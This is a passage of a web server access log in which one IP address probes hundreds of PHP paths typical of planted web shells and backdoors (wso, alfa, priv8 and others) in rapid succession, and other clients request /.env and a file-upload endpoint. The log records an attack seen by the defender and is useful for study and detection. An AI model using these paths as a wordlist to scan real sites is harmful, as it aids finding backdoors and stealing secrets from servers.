[27/Apr/2025:10:37:55 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:55 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:56 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:56 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:57 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:57 -0400] "GET /feed-rss2-queue.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:58 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:59 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:59 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:00 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:00 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:01 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:01 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:02 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:02 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:03 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:03 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:04 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:04 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:06 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:06 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:07 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:07 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:08 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:08 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:09 -0400] "GET /fucixwya.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:09 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:10 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:10 -0400] "GET /wp-content/uploads/setup HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:11 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:12 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:12 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:13 -0400] "GET /wp-admin/themes/about HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:13 -0400] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:14 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:14 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:15 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:15 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:16 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:16 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:17 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:17 -0400] "GET /wp-includes/js/e3B6W/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:18 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:18 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:19 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:19 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:20 -0400] "GET /lv.php7 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:20 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:21 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:22 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:22 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:23 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:23 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:24 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:24 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:25 -0400] "GET /defense.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:25 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:26 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:26 -0400] "GET /.well-known/themes HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:27 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:27 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:28 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:28 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:29 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:29 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:30 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:30 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:31 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:31 -0400] "GET /BIBIL0DAY.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:32 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:33 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:33 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:34 -0400] "GET /components/com_jea/views/form/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:34 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:35 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:35 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:36 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:36 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:37 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:37 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:38 -0400] "GET /wp-includes/qqzqflcv.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:39 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:39 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:40 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:40 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:41 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:41 -0400] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:42 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:42 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:43 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:43 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:44 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:44 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:45 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:45 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:46 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:46 -0400] "GET /comdofuns.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:47 -0400] "GET /baja.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:48 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:48 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:49 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:49 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:50 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ffl82xdf59.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:50 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:51 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:52 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:52 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:53 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:53 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:54 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:54 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:55 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:55 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:56 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:56 -0400] "GET /wp-content/plugins/lgexwbe/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:57 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:57 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:58 -0400] "GET /xl2023.php.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:58 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:38:59 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:00 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:00 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:01 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:01 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:02 -0400] "GET /wp-admin/css/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:02 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:03 -0400] "GET /.well-known/esjmskva.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:03 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:04 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:04 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:05 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:06 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:06 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:07 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:07 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:08 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:08 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:09 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:10 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:10 -0400] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:11 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:11 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:12 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:12 -0400] "GET /sessions.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:13 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:13 -0400] "GET /xxc.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:14 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:14 -0400] "GET /css/access.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:15 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:15 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:16 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:17 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:17 -0400] "GET /images/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:18 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:18 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:19 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:19 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:20 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:20 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:21 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:21 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:22 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:22 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:23 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:24 -0400] "GET /class-IXR-encryption.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:24 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:25 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:25 -0400] "GET /aQzODIgoBr.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:26 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:26 -0400] "GET /.well-known/amaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:27 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:27 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:28 -0400] "GET /cljntmcz.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:28 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:29 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:29 -0400] "GET /ewywe1dg.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:30 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:30 -0400] "GET /engine.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:31 -0400] "GET /gebase.php69 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:31 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:32 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:32 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:33 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:34 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:34 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:35 -0400] "GET /wp-content/k.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:35 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:36 -0400] "GET /assets/cms/plugins/ckfinder/_samples/php/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:36 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:37 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:37 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:38 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:38 -0400] "GET /wp-content/themes/pridmag/custom-plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:39 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:39 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:40 -0400] "GET /wp-content/plugins/sid/sidwso.php/vuln.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:41 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:41 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:42 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:42 -0400] "GET /.well-known/afcsthua.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:43 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:43 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:44 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:44 -0400] "GET /addslashes.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:45 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:46 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:46 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:47 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:47 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:48 -0400] "GET /wp-content/plugins/sfdfryt/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:48 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:49 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:49 -0400] "GET /gecko-new.php.1 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:50 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:50 -0400] "GET /wp-commentin.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:51 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:51 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:52 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:53 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:53 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:54 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:39:54 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 203.150.128.101 - - [27/Apr/2025:10:55:47 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 150.109.230.210 - - [27/Apr/2025:11:00:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 142.202.190.32 - - [27/Apr/2025:11:20:01 -0400] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 142.202.190.32 - - [27/Apr/2025:11:20:02 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 205.210.31.43 - - [27/Apr/2025:11:56:51 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 66.212.18.223 - - [27/Apr/2025:12:44:57 -0400] "GET /themes/manage/assets/jquery-file-upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 198.235.24.140 - - [27/Apr/2025:12:49:32 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 43.153.15.51 - - [27/Apr/2025:12:50:53 -0400] "GET / 